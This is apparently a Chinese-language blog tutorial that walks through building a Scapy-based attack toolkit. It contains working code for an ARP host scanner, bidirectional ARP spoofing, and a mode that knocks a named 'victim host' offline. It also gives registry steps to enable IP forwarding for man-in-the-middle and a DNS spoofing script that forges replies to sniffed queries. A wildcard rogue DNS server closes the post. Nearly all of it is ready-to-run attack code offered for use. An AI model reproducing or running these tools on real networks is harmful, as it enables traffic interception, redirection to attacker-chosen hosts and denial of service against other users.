实现简单的ARP扫描工具: 传入扫描参数main.py -a 192.168.1.1-100 扫描网段内所有的在线主机并显示其MAC地址.
from scapy.all import *
from optparse import OptionParser
import threading
def parse_ip(targets):
_split = targets.split('-')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
def arp_scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: {} => MAC地址:{}'.format(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-a","--addr",dest="address",help="--> input 192.168.1.0-100")
(options,args) = parser.parse_args()
if options.address:
addr_list = parse_ip(options.address)
for item in addr_list:
threads = []
t = threading.Thread(target=arp_scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
else:
parser.print_help()
简单的ARP双向欺骗: 可以使用route -4 print 获取本地机器的网卡名称
from scapy.all import *
from optparse import OptionParser
import threading
# 生成ARP数据包，伪造网关欺骗目标计算机
def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt
# 生成ARP数据包，伪造目标计算机欺骗网关
def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt
interface = "Realtek PCIe GBE Family Controller" # 本地接口名称
gatewayIP = "192.168.1.1" # 本网段的网关地址
tgtIP = "192.168.1.3" # 目标计算机的IP(被欺骗计算机)
srcMac = get_if_hwaddr(interface) # 本机的MAC地址
tgtMac = getmacbyip(tgtIP) # 目标计算机的MAC地址
gatewayMac = getmacbyip(gatewayIP) # 网关的MAC地址
print("[+] 本机MAC: {} ---> 目标MAC: {} ---> 网关MAC: {}".format(srcMac,tgtMac,gatewayMac))
print("[+] 目标IP: {} ---> 网关IP: {}".format(tgtIP,gatewayIP))
pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
while True:
t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':interface})
t.start()
t.join()
s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':interface})
s.start()
s.join()
合并起来吧，构成自己的ARP欺骗工具包
from scapy.all import *
from optparse import OptionParser
import threading,time
# 生成网段信息,例如输入: 192.168.1.1/20 生成1-20地址
def Parse_IP(targets):
_split = targets.split('/')
first_ip = _split[0]
ip_split = first_ip.split('.')
ipv4 = range(int(ip_split[3]),int(_split[1])+1)
addr = [ ip_split[0]+'.'+ip_split[1]+'.'+ip_split[2]+'.'+str(p) for p in ipv4 ]
return addr
# 通过ARP协议扫描局域网中在线的设备
def ARP_Scan(address):
try:
ret = sr1(ARP(pdst=address),timeout=5,verbose=False)
if ret:
if ret.haslayer('ARP') and ret.fields['op'] == 2:
print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'],ret.fields['hwsrc']))
except Exception:
exit(1)
# 生成ARP数据包,伪造网关欺骗目标计算机
def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
return pkt
# 生成ARP数据包,伪造目标计算机欺骗网关
def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
return pkt
# 开启线程将数据包发送得到目标主机,使其拒绝服务,断网.
def BrokenNetwork(Interface,gatewayIP,tgtIP):
srcMac = get_if_hwaddr(Interface) # 通过接口名称获取本机MAC地址
tgtMac = getmacbyip(tgtIP) # 通过IP地址获取目标计算机的MAC地址
gatewayMac = getmacbyip(gatewayIP) # 指定本机网段的网关MAC地址
while True:
time.sleep(1)
pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
t = threading.Thread(target=sendp,args=(pktstation,),kwargs={'iface':Interface})
t.start()
t.join()
s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={'iface':Interface})
s.start()
s.join()
if __name__ == "__main__":
parser = OptionParser()
parser.add_option("-s","--scan",dest="scan",help="输入一个扫描网段: 192.168.1.1/10")
parser.add_option("-i","--interface",dest="interface",help="输入接口名: Realtek PCIe GBE Family Controller")
parser.add_option("-g","--gateway",dest="gateway",help="输入网关地址: 192.168.1.1")
parser.add_option("-t","--target",dest="target",help="输入被害主机地址: 192.168.1.10")
(options,args) = parser.parse_args()
if options.scan:
addr_list = Parse_IP(options.scan)
for item in addr_list:
threads = []
t = threading.Thread(target=ARP_Scan,args=(item,))
threads.append(t)
t.start()
for item in threads:
item.join()
elif options.gateway and options.target and options.scan == None:
BrokenNetwork(options.interface,options.gateway,options.target)
else:
parser.print_help()
开启转发功能。开始运行里面输入regedit 打开注册表编辑器，在注册表定位下面注册表项
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/ Services/Tcpip/Parameters
选择下面的项目：IPEnableRouter:REG_DWORD:0x0 找到项目鼠标右键修改数值为1
关于欺骗，网上其他人的一种实现方法，代码如下，只不过我们只做了ARP骗，而在该欺骗基础上可以加强为DNS欺骗。
import sys
import os
import threading
from scapy.all import *
from optparse import OptionParser
#DNS欺骗函数
def DNS_Spoof(data):
if data.haslayer(DNS):
try:
#构造DNS AN数据
dns_an=DNSRR(rrname=data[DNS].qd.qname,rdata=jokers)
#构造IP/UDP数据包
repdata=IP(src=data[IP].dst,dst=data[IP].src)/UDP(dport=data[IP].sport,sport=53)
#构造DNS数据包
repdata/=DNS(id=data[DNS].id,qd=data[DNS].qd,qr=1,an=dns_an)
#攻击信息输出
print ('\nhancker ip :' + jokers + " url : "+data[DNS].qd.qname)
#发送数据包
send(repdata)
except Exception:
sys.exit(1)
#DNS欺骗函数
def DNS_S(dns_ip,iface):
global jokers
jokers=dns_ip
print ("DNS欺骗开始!")
sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
#ARP欺骗函数
def op(eths,mubiao_ip,Ps,gateway_ip):
ip=mubiao_ip
wifi=gateway_ip
#目标设备MAC地址
dst_Mac=str(getmacbyip(ip))
#黑客设备mac地址
self_Mac=str(get_if_hwaddr(eths))
#网关MAC地址
wifi_Mac=str(getmacbyip(wifi))
#构造以太帧数据
Ether_data=Ether(src=self_Mac,dst=dst_Mac)/ARP(op=2,hwsrc=self_Mac,psrc=wifi,hwdst=dst_Mac,pdst=ip)
try:
#发送以太帧数据，sendp发送OSI模型中的二层数据
sendp(Ether_data,inter=2,iface=eths,loop=1)
except Exception as e:
print("目标ARP数据发送失败!")
def wifi(eths,mubiao_ip,gateway_ip,Ps,dns_ip):
ip=gateway_ip
dst=mubiao_ip
et = eths
#根据IP获取MAC
dst_Mac = getmacbyip(ip)
#根据网卡获取MAC
self_Mac = get_if_hwaddr(et)
Ether_data = None
if Ps=="1":
#构造以太帧数据与ARP响应数据，ARP协议源地址给一个不存在的MAC地址与正确的IP地址对应，实现双向的无法解析，ARP协议的op参数是状态，2为响应数据，1为请求数据
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc='12:1a:13:a3:13:ef', psrc=dst, hwdst=dst_Mac, pdst=ip)
#新线程，开始DNS欺骗
t3 = threading.Thread(target=DNS_S, args=(dns_ip,eths))
t3.setDaemon(True)
t3.start()
if Ps == "0":
#构造以太帧数据与ARP响应数据，这里因为不需要DNS欺骗，所以不需要一个假的MAC地址，让双方通信设备正常访问即可
Ether_data = Ether(src=self_Mac, dst=dst_Mac) / ARP(op=2, hwsrc=self_Mac, psrc=dst, hwdst=dst_Mac, pdst=ip)
if Ps!="1" and Ps!="0":
print (Ps)
print (type(Ps))
print ('-P 参数有误！')
sys.exit(1)
try:
sendp(Ether_data, inter=2,iface=et,loop=1)
except Exception as e:
print("网关ARP数据发送失败!")
def main():
try:
eth= "Realtek PCIe GBE Family Controller"
mubiao="192.168.1.6"
gateway="192.168.1.1"
P="0"
dip="8.8.8.8"
t1=threading.Thread(target=op,args=(eth,mubiao,P,gateway))
t1.setDaemon(True)
t1.start()
t2=threading.Thread(target=wifi,args=(eth,mubiao,gateway,P,dip))
t2.setDaemon(True)
t2.start()
except Exception as e:
print (e)
sys.exit(1)
while True:
pass
if __name__ == '__main__':
main()
DNS欺骗需要一个DNS解析服务器，这里从网上找到一个DNS解析服务器代码，可以快速解析。
import socketserver,struct
class SinDNSQuery:
def __init__(self, data):
i = 1
self.name = ''
while True:
d = data[i]
if d == 0:
break;
if d < 32:
self.name = self.name + '.'
else:
self.name = self.name + chr(d)
i = i + 1
self.querybytes = data[0:i + 1]
(self.type, self.classify) = struct.unpack('>HH', data[i + 1:i + 5])
self.len = i + 5
def getbytes(self):
return self.querybytes + struct.pack('>HH', self.type, self.classify)
class SinDNSAnswer:
def __init__(self, ip):
self.name = 49164
self.type = 1
self.classify = 1
self.timetolive = 190
self.datalength = 4
self.ip = ip
def getbytes(self):
res = struct.pack('>HHHLH', self.name, self.type, self.classify, self.timetolive, self.datalength)
s = self.ip.split('.')
res = res + struct.pack('BBBB', int(s[0]), int(s[1]), int(s[2]), int(s[3]))
return res
class SinDNSFrame:
def __init__(self, data):
(self.id, self.flags, self.quests, self.answers, self.author, self.addition) = struct.unpack('>HHHHHH', data[0:12])
self.query = SinDNSQuery(data[12:])
def getname(self):
return self.query.name
def setip(self, ip):
self.answer = SinDNSAnswer(ip)
self.answers = 1
self.flags = 33152
def getbytes(self):
res = struct.pack('>HHHHHH', self.id, self.flags, self.quests, self.answers, self.author, self.addition)
res = res + self.query.getbytes()
if self.answers != 0:
res = res + self.answer.getbytes()
return res
class SinDNSUDPHandler(socketserver.BaseRequestHandler):
def handle(self):
data = self.request[0].strip()
dns = SinDNSFrame(data)
socket = self.request[1]
namemap = SinDNSServer.namemap
if(dns.query.type==1):
name = dns.getname();
if namemap.__contains__(name):
dns.setip(namemap[name])
socket.sendto(dns.getbytes(), self.client_address)
elif namemap.__contains__('*'):
dns.setip(namemap['*'])
socket.sendto(dns.getbytes(), self.client_address)
else:
socket.sendto(data, self.client_address)
else:
socket.sendto(data, self.client_address)
class SinDNSServer:
def __init__(self, port=53):
SinDNSServer.namemap = {}
self.port = port
def addname(self, name, ip):
SinDNSServer.namemap[name] = ip
def start(self):
HOST, PORT = "0.0.0.0", self.port
server = socketserver.UDPServer((HOST, PORT), SinDNSUDPHandler)
server.serve_forever()
if __name__ == "__main__":
server = SinDNSServer()
server.addname('www.lyshark.com', '192.168.1.1')
server.addname('*', '192.168.1.2')
server.start()